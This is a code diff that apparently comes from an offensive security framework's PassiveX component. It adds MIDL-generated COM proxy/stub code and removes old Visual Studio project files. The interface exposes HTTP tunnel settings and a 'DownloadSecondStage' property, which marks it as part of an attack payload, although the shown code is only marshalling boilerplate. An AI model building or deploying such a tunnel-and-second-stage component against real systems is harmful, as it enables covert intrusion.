+/* 2 */ NdrFcLong( 0x0 ), /* 0 */
+/* 6 */ NdrFcShort( 0x7 ), /* 7 */
+/* 8 */ NdrFcShort( 0xc ), /* x86 Stack size/offset = 12 */
+/* 10 */ NdrFcShort( 0x0 ), /* 0 */
+/* 12 */ NdrFcShort( 0x8 ), /* 8 */
+/* 14 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */
+ 0x2, /* 2 */
+/* 16 */ 0x8, /* 8 */
+ 0x5, /* Ext Flags: new corr desc, srv corr check, */
+/* 18 */ NdrFcShort( 0x0 ), /* 0 */
+/* 20 */ NdrFcShort( 0x1 ), /* 1 */
+/* 22 */ NdrFcShort( 0x0 ), /* 0 */
+
+ /* Parameter host */
+
+/* 24 */ NdrFcShort( 0x8b ), /* Flags: must size, must free, in, by val, */
+/* 26 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
+/* 28 */ NdrFcShort( 0x1c ), /* Type Offset=28 */
+
+ /* Return value */
+
+/* 30 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
+/* 32 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
+/* 34 */ 0x8, /* FC_LONG */
+ 0x0, /* 0 */
+
+ /* Procedure get_HttpHost */
+
+/* 36 */ 0x33, /* FC_AUTO_HANDLE */
+ 0x6c, /* Old Flags: object, Oi2 */
+/* 38 */ NdrFcLong( 0x0 ), /* 0 */
+/* 42 */ NdrFcShort( 0x8 ), /* 8 */
+/* 44 */ NdrFcShort( 0xc ), /* x86 Stack size/offset = 12 */
+/* 46 */ NdrFcShort( 0x0 ), /* 0 */
+/* 48 */ NdrFcShort( 0x8 ), /* 8 */
+/* 50 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */
+ 0x2, /* 2 */
+/* 52 */ 0x8, /* 8 */
+ 0x3, /* Ext Flags: new corr desc, clt corr check, */
+/* 54 */ NdrFcShort( 0x1 ), /* 1 */
+/* 56 */ NdrFcShort( 0x0 ), /* 0 */
+/* 58 */ NdrFcShort( 0x0 ), /* 0 */
+
+ /* Parameter host */
+
+/* 60 */ NdrFcShort( 0x2113 ), /* Flags: must size, must free, out, simple ref, srv alloc size=8 */
+/* 62 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
+/* 64 */ NdrFcShort( 0x2e ), /* Type Offset=46 */
+
+ /* Return value */
+
+/* 66 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
+/* 68 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
+/* 70 */ 0x8, /* FC_LONG */
+ 0x0, /* 0 */
+
+ /* Procedure put_HttpSid */
+
+/* 72 */ 0x33, /* FC_AUTO_HANDLE */
+ 0x6c, /* Old Flags: object, Oi2 */
+/* 74 */ NdrFcLong( 0x0 ), /* 0 */
+/* 78 */ NdrFcShort( 0x9 ), /* 9 */
+/* 80 */ NdrFcShort( 0xc ), /* x86 Stack size/offset = 12 */
+/* 82 */ NdrFcShort( 0x0 ), /* 0 */
+/* 84 */ NdrFcShort( 0x8 ), /* 8 */
+/* 86 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */
+ 0x2, /* 2 */
+/* 88 */ 0x8, /* 8 */
+ 0x5, /* Ext Flags: new corr desc, srv corr check, */
+/* 90 */ NdrFcShort( 0x0 ), /* 0 */
+/* 92 */ NdrFcShort( 0x1 ), /* 1 */
+/* 94 */ NdrFcShort( 0x0 ), /* 0 */
+
+ /* Parameter sid */
+
+/* 96 */ NdrFcShort( 0x8b ), /* Flags: must size, must free, in, by val, */
+/* 98 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
+/* 100 */ NdrFcShort( 0x1c ), /* Type Offset=28 */
+
+ /* Return value */
+
+/* 102 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
+/* 104 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
+/* 106 */ 0x8, /* FC_LONG */
+ 0x0, /* 0 */
+
+ /* Procedure get_HttpSid */
+
+/* 108 */ 0x33, /* FC_AUTO_HANDLE */
+ 0x6c, /* Old Flags: object, Oi2 */
+/* 110 */ NdrFcLong( 0x0 ), /* 0 */
+/* 114 */ NdrFcShort( 0xa ), /* 10 */
+/* 116 */ NdrFcShort( 0xc ), /* x86 Stack size/offset = 12 */
+/* 118 */ NdrFcShort( 0x0 ), /* 0 */
+/* 120 */ NdrFcShort( 0x8 ), /* 8 */
+/* 122 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */
+ 0x2, /* 2 */
+/* 124 */ 0x8, /* 8 */
+ 0x3, /* Ext Flags: new corr desc, clt corr check, */
+/* 126 */ NdrFcShort( 0x1 ), /* 1 */
+/* 128 */ NdrFcShort( 0x0 ), /* 0 */
+/* 130 */ NdrFcShort( 0x0 ), /* 0 */
+
+ /* Parameter sid */
+
+/* 132 */ NdrFcShort( 0x2113 ), /* Flags: must size, must free, out, simple ref, srv alloc size=8 */
+/* 134 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
+/* 136 */ NdrFcShort( 0x2e ), /* Type Offset=46 */
+
+ /* Return value */
+
+/* 138 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
+/* 140 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
+/* 142 */ 0x8, /* FC_LONG */
+ 0x0, /* 0 */
+
+ /* Procedure put_HttpUriBase */
+
+/* 144 */ 0x33, /* FC_AUTO_HANDLE */
+ 0x6c, /* Old Flags: object, Oi2 */
+/* 146 */ NdrFcLong( 0x0 ), /* 0 */
+/* 150 */ NdrFcShort( 0xb ), /* 11 */
+/* 152 */ NdrFcShort( 0xc ), /* x86 Stack size/offset = 12 */
+/* 154 */ NdrFcShort( 0x0 ), /* 0 */
+/* 156 */ NdrFcShort( 0x8 ), /* 8 */
+/* 158 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */
+ 0x2, /* 2 */
+/* 160 */ 0x8, /* 8 */
+ 0x5, /* Ext Flags: new corr desc, srv corr check, */
+/* 162 */ NdrFcShort( 0x0 ), /* 0 */
+/* 164 */ NdrFcShort( 0x1 ), /* 1 */
+/* 166 */ NdrFcShort( 0x0 ), /* 0 */
+
+ /* Parameter base */
+
+/* 168 */ NdrFcShort( 0x8b ), /* Flags: must size, must free, in, by val, */
+/* 170 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
+/* 172 */ NdrFcShort( 0x1c ), /* Type Offset=28 */
+
+ /* Return value */
+
+/* 174 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
+/* 176 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
+/* 178 */ 0x8, /* FC_LONG */
+ 0x0, /* 0 */
+
+ /* Procedure get_HttpUriBase */
+
+/* 180 */ 0x33, /* FC_AUTO_HANDLE */
+ 0x6c, /* Old Flags: object, Oi2 */
+/* 182 */ NdrFcLong( 0x0 ), /* 0 */
+/* 186 */ NdrFcShort( 0xc ), /* 12 */
+/* 188 */ NdrFcShort( 0xc ), /* x86 Stack size/offset = 12 */
+/* 190 */ NdrFcShort( 0x0 ), /* 0 */
+/* 192 */ NdrFcShort( 0x8 ), /* 8 */
+/* 194 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */
+ 0x2, /* 2 */
+/* 196 */ 0x8, /* 8 */
+ 0x3, /* Ext Flags: new corr desc, clt corr check, */
+/* 198 */ NdrFcShort( 0x1 ), /* 1 */
+/* 200 */ NdrFcShort( 0x0 ), /* 0 */
+/* 202 */ NdrFcShort( 0x0 ), /* 0 */
+
+ /* Parameter base */
+
+/* 204 */ NdrFcShort( 0x2113 ), /* Flags: must size, must free, out, simple ref, srv alloc size=8 */
+/* 206 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
+/* 208 */ NdrFcShort( 0x2e ), /* Type Offset=46 */
+
+ /* Return value */
+
+/* 210 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
+/* 212 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
+/* 214 */ 0x8, /* FC_LONG */
+ 0x0, /* 0 */
+
+ /* Procedure put_HttpPort */
+
+/* 216 */ 0x33, /* FC_AUTO_HANDLE */
+ 0x6c, /* Old Flags: object, Oi2 */
+/* 218 */ NdrFcLong( 0x0 ), /* 0 */
+/* 222 */ NdrFcShort( 0xd ), /* 13 */
+/* 224 */ NdrFcShort( 0xc ), /* x86 Stack size/offset = 12 */
+/* 226 */ NdrFcShort( 0x8 ), /* 8 */
+/* 228 */ NdrFcShort( 0x8 ), /* 8 */
+/* 230 */ 0x44, /* Oi2 Flags: has return, has ext, */
+ 0x2, /* 2 */
+/* 232 */ 0x8, /* 8 */
+ 0x1, /* Ext Flags: new corr desc, */
+/* 234 */ NdrFcShort( 0x0 ), /* 0 */
+/* 236 */ NdrFcShort( 0x0 ), /* 0 */
+/* 238 */ NdrFcShort( 0x0 ), /* 0 */
+
+ /* Parameter port */
+
+/* 240 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
+/* 242 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
+/* 244 */ 0x8, /* FC_LONG */
+ 0x0, /* 0 */
+
+ /* Return value */
+
+/* 246 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
+/* 248 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
+/* 250 */ 0x8, /* FC_LONG */
+ 0x0, /* 0 */
+
+ /* Procedure get_HttpPort */
+
+/* 252 */ 0x33, /* FC_AUTO_HANDLE */
+ 0x6c, /* Old Flags: object, Oi2 */
+/* 254 */ NdrFcLong( 0x0 ), /* 0 */
+/* 258 */ NdrFcShort( 0xe ), /* 14 */
+/* 260 */ NdrFcShort( 0xc ), /* x86 Stack size/offset = 12 */
+/* 262 */ NdrFcShort( 0x0 ), /* 0 */
+/* 264 */ NdrFcShort( 0x24 ), /* 36 */
+/* 266 */ 0x44, /* Oi2 Flags: has return, has ext, */
+ 0x2, /* 2 */
+/* 268 */ 0x8, /* 8 */
+ 0x1, /* Ext Flags: new corr desc, */
+/* 270 */ NdrFcShort( 0x0 ), /* 0 */
+/* 272 */ NdrFcShort( 0x0 ), /* 0 */
+/* 274 */ NdrFcShort( 0x0 ), /* 0 */
+
+ /* Parameter port */
+
+/* 276 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */
+/* 278 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
+/* 280 */ 0x8, /* FC_LONG */
+ 0x0, /* 0 */
+
+ /* Return value */
+
+/* 282 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
+/* 284 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
+/* 286 */ 0x8, /* FC_LONG */
+ 0x0, /* 0 */
+
+ /* Procedure put_DownloadSecondStage */
+
+/* 288 */ 0x33, /* FC_AUTO_HANDLE */
+ 0x6c, /* Old Flags: object, Oi2 */
+/* 290 */ NdrFcLong( 0x0 ), /* 0 */
+/* 294 */ NdrFcShort( 0xf ), /* 15 */
+/* 296 */ NdrFcShort( 0xc ), /* x86 Stack size/offset = 12 */
+/* 298 */ NdrFcShort( 0x8 ), /* 8 */
+/* 300 */ NdrFcShort( 0x8 ), /* 8 */
+/* 302 */ 0x44, /* Oi2 Flags: has return, has ext, */
+ 0x2, /* 2 */
+/* 304 */ 0x8, /* 8 */
+ 0x1, /* Ext Flags: new corr desc, */
+/* 306 */ NdrFcShort( 0x0 ), /* 0 */
+/* 308 */ NdrFcShort( 0x0 ), /* 0 */
+/* 310 */ NdrFcShort( 0x0 ), /* 0 */
+
+ /* Parameter na */
+
+/* 312 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
+/* 314 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
+/* 316 */ 0x8, /* FC_LONG */
+ 0x0, /* 0 */
+
+ /* Return value */
+
+/* 318 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
+/* 320 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
+/* 322 */ 0x8, /* FC_LONG */
+ 0x0, /* 0 */
+
+ /* Procedure get_DownloadSecondStage */
+
+/* 324 */ 0x33, /* FC_AUTO_HANDLE */
+ 0x6c, /* Old Flags: object, Oi2 */
+/* 326 */ NdrFcLong( 0x0 ), /* 0 */
+/* 330 */ NdrFcShort( 0x10 ), /* 16 */
+/* 332 */ NdrFcShort( 0xc ), /* x86 Stack size/offset = 12 */
+/* 334 */ NdrFcShort( 0x0 ), /* 0 */
+/* 336 */ NdrFcShort( 0x24 ), /* 36 */
+/* 338 */ 0x44, /* Oi2 Flags: has return, has ext, */
+ 0x2, /* 2 */
+/* 340 */ 0x8, /* 8 */
+ 0x1, /* Ext Flags: new corr desc, */
+/* 342 */ NdrFcShort( 0x0 ), /* 0 */
+/* 344 */ NdrFcShort( 0x0 ), /* 0 */
+/* 346 */ NdrFcShort( 0x0 ), /* 0 */
+
+ /* Parameter na */
+
+/* 348 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */
+/* 350 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */
+/* 352 */ 0x8, /* FC_LONG */
+ 0x0, /* 0 */
+
+ /* Return value */
+
+/* 354 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
+/* 356 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */
+/* 358 */ 0x8, /* FC_LONG */
+ 0x0, /* 0 */
+
+ 0x0
+ }
+ };
+
+static const PassiveX_MIDL_TYPE_FORMAT_STRING PassiveX__MIDL_TypeFormatString =
+ {
+ 0,
+ {
+ NdrFcShort( 0x0 ), /* 0 */
+/* 2 */
+ 0x12, 0x0, /* FC_UP */
+/* 4 */ NdrFcShort( 0xe ), /* Offset= 14 (18) */
+/* 6 */
+ 0x1b, /* FC_CARRAY */
+ 0x1, /* 1 */
+/* 8 */ NdrFcShort( 0x2 ), /* 2 */
+/* 10 */ 0x9, /* Corr desc: FC_ULONG */
+ 0x0, /* */
+/* 12 */ NdrFcShort( 0xfffc ), /* -4 */
+/* 14 */ NdrFcShort( 0x1 ), /* Corr flags: early, */
+/* 16 */ 0x6, /* FC_SHORT */
+ 0x5b, /* FC_END */
+/* 18 */
+ 0x17, /* FC_CSTRUCT */
+ 0x3, /* 3 */
+/* 20 */ NdrFcShort( 0x8 ), /* 8 */
+/* 22 */ NdrFcShort( 0xfff0 ), /* Offset= -16 (6) */
+/* 24 */ 0x8, /* FC_LONG */
+ 0x8, /* FC_LONG */
+/* 26 */ 0x5c, /* FC_PAD */
+ 0x5b, /* FC_END */
+/* 28 */ 0xb4, /* FC_USER_MARSHAL */
+ 0x83, /* 131 */
+/* 30 */ NdrFcShort( 0x0 ), /* 0 */
+/* 32 */ NdrFcShort( 0x4 ), /* 4 */
+/* 34 */ NdrFcShort( 0x0 ), /* 0 */
+/* 36 */ NdrFcShort( 0xffde ), /* Offset= -34 (2) */
+/* 38 */
+ 0x11, 0x4, /* FC_RP [alloced_on_stack] */
+/* 40 */ NdrFcShort( 0x6 ), /* Offset= 6 (46) */
+/* 42 */
+ 0x13, 0x0, /* FC_OP */
+/* 44 */ NdrFcShort( 0xffe6 ), /* Offset= -26 (18) */
+/* 46 */ 0xb4, /* FC_USER_MARSHAL */
+ 0x83, /* 131 */
+/* 48 */ NdrFcShort( 0x0 ), /* 0 */
+/* 50 */ NdrFcShort( 0x4 ), /* 4 */
+/* 52 */ NdrFcShort( 0x0 ), /* 0 */
+/* 54 */ NdrFcShort( 0xfff4 ), /* Offset= -12 (42) */
+/* 56 */
+ 0x11, 0xc, /* FC_RP [alloced_on_stack] [simple_pointer] */
+/* 58 */ 0x8, /* FC_LONG */
+ 0x5c, /* FC_PAD */
+
+ 0x0
+ }
+ };
+
+static const USER_MARSHAL_ROUTINE_QUADRUPLE UserMarshalRoutines[ WIRE_MARSHAL_TABLE_SIZE ] =
+ {
+
+ {
+ BSTR_UserSize
+ ,BSTR_UserMarshal
+ ,BSTR_UserUnmarshal
+ ,BSTR_UserFree
+ }
+
+ };
+
+
+
+/* Standard interface: __MIDL_itf_PassiveX_0000_0000, ver. 0.0,
+ GUID={0x00000000,0x0000,0x0000,{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}} */
+
+
+/* Object interface: IUnknown, ver. 0.0,
+ GUID={0x00000000,0x0000,0x0000,{0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46}} */
+
+
+/* Object interface: IDispatch, ver. 0.0,
+ GUID={0x00020400,0x0000,0x0000,{0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46}} */
+
+
+/* Object interface: IPassiveX, ver. 0.0,
+ GUID={0x1940F02F,0x41B0,0x4d92,{0xBE,0x34,0xDA,0x55,0xD1,0x51,0x89,0x3A}} */
+
+#pragma code_seg(".orpc")
+static const unsigned short IPassiveX_FormatStringOffsetTable[] =
+ {
+ (unsigned short) -1,
+ (unsigned short) -1,
+ (unsigned short) -1,
+ (unsigned short) -1,
+ 0,
+ 36,
+ 72,
+ 108,
+ 144,
+ 180,
+ 216,
+ 252,
+ 288,
+ 324
+ };
+
+static const MIDL_STUBLESS_PROXY_INFO IPassiveX_ProxyInfo =
+ {
+ &Object_StubDesc,
+ PassiveX__MIDL_ProcFormatString.Format,
+ &IPassiveX_FormatStringOffsetTable[-3],
+ 0,
+ 0,
+ 0
+ };
+
+
+static const MIDL_SERVER_INFO IPassiveX_ServerInfo =
+ {
+ &Object_StubDesc,
+ 0,
+ PassiveX__MIDL_ProcFormatString.Format,
+ &IPassiveX_FormatStringOffsetTable[-3],
+ 0,
+ 0,
+ 0,
+ 0};
+CINTERFACE_PROXY_VTABLE(17) _IPassiveXProxyVtbl =
+{
+ &IPassiveX_ProxyInfo,
+ &IID_IPassiveX,
+ IUnknown_QueryInterface_Proxy,
+ IUnknown_AddRef_Proxy,
+ IUnknown_Release_Proxy ,
+ 0 /* (void *) (INT_PTR) -1 /* IDispatch::GetTypeInfoCount */ ,
+ 0 /* (void *) (INT_PTR) -1 /* IDispatch::GetTypeInfo */ ,
+ 0 /* (void *) (INT_PTR) -1 /* IDispatch::GetIDsOfNames */ ,
+ 0 /* IDispatch_Invoke_Proxy */ ,
+ (void *) (INT_PTR) -1 /* IPassiveX::put_HttpHost */ ,
+ (void *) (INT_PTR) -1 /* IPassiveX::get_HttpHost */ ,
+ (void *) (INT_PTR) -1 /* IPassiveX::put_HttpSid */ ,
+ (void *) (INT_PTR) -1 /* IPassiveX::get_HttpSid */ ,
+ (void *) (INT_PTR) -1 /* IPassiveX::put_HttpUriBase */ ,
+ (void *) (INT_PTR) -1 /* IPassiveX::get_HttpUriBase */ ,
+ (void *) (INT_PTR) -1 /* IPassiveX::put_HttpPort */ ,
+ (void *) (INT_PTR) -1 /* IPassiveX::get_HttpPort */ ,
+ (void *) (INT_PTR) -1 /* IPassiveX::put_DownloadSecondStage */ ,
+ (void *) (INT_PTR) -1 /* IPassiveX::get_DownloadSecondStage */
+};
+
+
+static const PRPC_STUB_FUNCTION IPassiveX_table[] =
+{
+ STUB_FORWARDING_FUNCTION,
+ STUB_FORWARDING_FUNCTION,
+ STUB_FORWARDING_FUNCTION,
+ STUB_FORWARDING_FUNCTION,
+ NdrStubCall2,
+ NdrStubCall2,
+ NdrStubCall2,
+ NdrStubCall2,
+ NdrStubCall2,
+ NdrStubCall2,
+ NdrStubCall2,
+ NdrStubCall2,
+ NdrStubCall2,
+ NdrStubCall2
+};
+
+CInterfaceStubVtbl _IPassiveXStubVtbl =
+{
+ &IID_IPassiveX,
+ &IPassiveX_ServerInfo,
+ 17,
+ &IPassiveX_table[-3],
+ CStdStubBuffer_DELEGATING_METHODS
+};
+
+static const MIDL_STUB_DESC Object_StubDesc =
+ {
+ 0,
+ NdrOleAllocate,
+ NdrOleFree,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ PassiveX__MIDL_TypeFormatString.Format,
+ 1, /* -error bounds_check flag */
+ 0x50002, /* Ndr library version */
+ 0,
+ 0x70001f4, /* MIDL Version 7.0.500 */
+ 0,
+ UserMarshalRoutines,
+ 0, /* notify & notify_flag routine table */
+ 0x1, /* MIDL flag */
+ 0, /* cs routines */
+ 0, /* proxy/server info */
+ 0
+ };
+
+const CInterfaceProxyVtbl * _PassiveX_ProxyVtblList[] =
+{
+ ( CInterfaceProxyVtbl *) &_IPassiveXProxyVtbl,
+ 0
+};
+
+const CInterfaceStubVtbl * _PassiveX_StubVtblList[] =
+{
+ ( CInterfaceStubVtbl *) &_IPassiveXStubVtbl,
+ 0
+};
+
+PCInterfaceName const _PassiveX_InterfaceNamesList[] =
+{
+ "IPassiveX",
+ 0
+};
+
+const IID * _PassiveX_BaseIIDList[] =
+{
+ &IID_IDispatch,
+ 0
+};
+
+
+#define _PassiveX_CHECK_IID(n) IID_GENERIC_CHECK_IID( _PassiveX, pIID, n)
+
+int __stdcall _PassiveX_IID_Lookup( const IID * pIID, int * pIndex )
+{
+
+ if(!_PassiveX_CHECK_IID(0))
+ {
+ *pIndex = 0;
+ return 1;
+ }
+
+ return 0;
+}
+
+const ExtendedProxyFileInfo PassiveX_ProxyFileInfo =
+{
+ (PCInterfaceProxyVtblList *) & _PassiveX_ProxyVtblList,
+ (PCInterfaceStubVtblList *) & _PassiveX_StubVtblList,
+ (const PCInterfaceName * ) & _PassiveX_InterfaceNamesList,
+ (const IID ** ) & _PassiveX_BaseIIDList,
+ & _PassiveX_IID_Lookup,
+ 1,
+ 2,
+ 0, /* table of [async_uuid] interfaces */
+ 0, /* Filler1 */
+ 0, /* Filler2 */
+ 0 /* Filler3 */
+};
+#pragma optimize("", on )
+#if _MSC_VER >= 1200
+#pragma warning(pop)
+#endif
+
+
+#endif /* !defined(_M_IA64) && !defined(_M_AMD64)*/
+
View
38 external/source/passivex/dlldata.c
@@ -0,0 +1,38 @@
+/*********************************************************
+ DllData file -- generated by MIDL compiler
+
+ DO NOT ALTER THIS FILE
+
+ This file is regenerated by MIDL on every IDL file compile.
+
+ To completely reconstruct this file, delete it and rerun MIDL
+ on all the IDL files in this DLL, specifying this file for the
+ /dlldata command line option
+
+*********************************************************/
+
+#define PROXY_DELEGATION
+
+#include <rpcproxy.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+EXTERN_PROXY_FILE( PassiveX )
+
+
+PROXYFILE_LIST_START
+/* Start of list */
+ REFERENCE_PROXY_FILE( PassiveX ),
+/* End of list */
+PROXYFILE_LIST_END
+
+
+DLLDATA_ROUTINES( aProxyFileList, GET_DLL_CLSID )
+
+#ifdef __cplusplus
+} /*extern "C" */
+#endif
+
+/* end of generated dlldata file */
View
168 external/source/passivex/passivex.dsp
@@ -1,168 +0,0 @@
-# Microsoft Developer Studio Project File - Name="passivex" - Package Owner=<4>
-# Microsoft Developer Studio Generated Build File, Format Version 6.00
-# ** DO NOT EDIT **
-
-# TARGTYPE "Win32 (x86) Dynamic-Link Library" 0x0102
-
-CFG=passivex - Win32 Debug
-!MESSAGE This is not a valid makefile. To build this project using NMAKE,
-!MESSAGE use the Export Makefile command and run
-!MESSAGE
-!MESSAGE NMAKE /f "passivex.mak".
-!MESSAGE
-!MESSAGE You can specify a configuration when running NMAKE
-!MESSAGE by defining the macro CFG on the command line. For example:
-!MESSAGE
-!MESSAGE NMAKE /f "passivex.mak" CFG="passivex - Win32 Debug"
-!MESSAGE
-!MESSAGE Possible choices for configuration are:
-!MESSAGE
-!MESSAGE "passivex - Win32 Release" (based on "Win32 (x86) Dynamic-Link Library")
-!MESSAGE "passivex - Win32 Debug" (based on "Win32 (x86) Dynamic-Link Library")
-!MESSAGE
-
-# Begin Project
-# PROP AllowPerConfigDependencies 0
-# PROP Scc_ProjName ""
-# PROP Scc_LocalPath ""
-CPP=cl.exe
-MTL=midl.exe
-RSC=rc.exe
-
-!IF "$(CFG)" == "passivex - Win32 Release"
-
-# PROP BASE Use_MFC 0
-# PROP BASE Use_Debug_Libraries 0
-# PROP BASE Output_Dir "Release"
-# PROP BASE Intermediate_Dir "Release"
-# PROP BASE Target_Dir ""
-# PROP Use_MFC 0
-# PROP Use_Debug_Libraries 0
-# PROP Output_Dir "Release"
-# PROP Intermediate_Dir "Release"
-# PROP Ignore_Export_Lib 0
-# PROP Target_Dir ""
-# ADD BASE CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "PASSIVEX2_EXPORTS" /YX /FD /c
-# ADD CPP /nologo /MT /W3 /GX /O2 /D "WIN32" /D "NPXDEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "PASSIVEX2_EXPORTS" /YX /FD /c
-# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32
-# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32
-# ADD BASE RSC /l 0x409 /d "NDEBUG"
-# ADD RSC /l 0x409 /d "NDEBUG"
-BSC32=bscmake.exe
-# ADD BASE BSC32 /nologo
-# ADD BSC32 /nologo
-LINK32=link.exe
-# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386
-# ADD LINK32 wininet.lib ws2_32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /machine:I386
-
-!ELSEIF "$(CFG)" == "passivex - Win32 Debug"
-
-# PROP BASE Use_MFC 0
-# PROP BASE Use_Debug_Libraries 1
-# PROP BASE Output_Dir "Debug"
-# PROP BASE Intermediate_Dir "Debug"
-# PROP BASE Target_Dir ""
-# PROP Use_MFC 0
-# PROP Use_Debug_Libraries 1
-# PROP Output_Dir "Debug"
-# PROP Intermediate_Dir "Debug"
-# PROP Ignore_Export_Lib 0
-# PROP Target_Dir ""
-# ADD BASE CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "PASSIVEX2_EXPORTS" /YX /FD /GZ /c
-# ADD CPP /nologo /MTd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "PASSIVEX2_EXPORTS" /YX /FD /GZ /c
-# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32
-# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32
-# ADD BASE RSC /l 0x409 /d "_DEBUG"
-# ADD RSC /l 0x409 /d "_DEBUG"
-BSC32=bscmake.exe
-# ADD BASE BSC32 /nologo
-# ADD BSC32 /nologo
-LINK32=link.exe
-# ADD BASE LINK32 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept
-# ADD LINK32 wininet.lib ws2_32.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /dll /debug /machine:I386 /pdbtype:sept
-
-!ENDIF
-
-# Begin Target
-
-# Name "passivex - Win32 Release"
-# Name "passivex - Win32 Debug"
-# Begin Group "Source Files"
-
-# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat"
-# Begin Group "Tunnel"
-
-# PROP Default_Filter ""
-# Begin Source File
-
-SOURCE=.\HttpTunnel.cpp
-# End Source File
-# Begin Source File
-
-SOURCE=.\HttpTunnel.h
-# End Source File
-# End Group
-# Begin Source File
-
-SOURCE=.\CPassiveX.cpp
-# End Source File
-# Begin Source File
-
-SOURCE=.\PassiveX.cpp
-# End Source File
-# Begin Source File
-
-SOURCE=.\passivex.def
-# End Source File
-# Begin Source File
-
-SOURCE=.\PassiveX.idl
-
-!IF "$(CFG)" == "passivex - Win32 Release"
-
-# SUBTRACT MTL /mktyplib203
-
-!ELSEIF "$(CFG)" == "passivex - Win32 Debug"
-
-!ENDIF
-
-# End Source File
-# Begin Source File
-
-SOURCE=.\passivex.rc
-# End Source File
-# End Group
-# Begin Group "Header Files"
-
-# PROP Default_Filter "h;hpp;hxx;hm;inl"
-# Begin Source File
-
-SOURCE=.\CPassiveX.h
-# End Source File
-# Begin Source File
-
-SOURCE=.\PassiveX.h
-# End Source File
-# Begin Source File
-
-SOURCE=.\PassiveXLib.h
-# End Source File
-# Begin Source File
-
-SOURCE=.\resource.h
-# End Source File
-# End Group
-# Begin Group "Resource Files"
-
-# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe"
-# Begin Source File
-
-SOURCE=.\PassiveX.bin
-# End Source File
-# Begin Source File
-
-SOURCE=.\Release\PassiveX.tlb
-# End Source File
-# End Group
-# End Target
-# End Project
View
29 external/source/passivex/passivex.dsw
@@ -1,29 +0,0 @@
-Microsoft Developer Studio Workspace File, Format Version 6.00
-# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE!
-
-###############################################################################
-
-Project: "passivex"=.\passivex.dsp - Package Owner=<4>
-
-Package=<5>
-{{{
-}}}
-
-Package=<4>
-{{{
-}}}
-
-###############################################################################
-
-Global:
-
-Package=<5>
-{{{
-}}}
-
-Package=<3>
-{{{
-}}}
-
-###############################################################################
-
View
2  external/source/passivex/passivex.rc
@@ -7,7 +7,7 @@
//
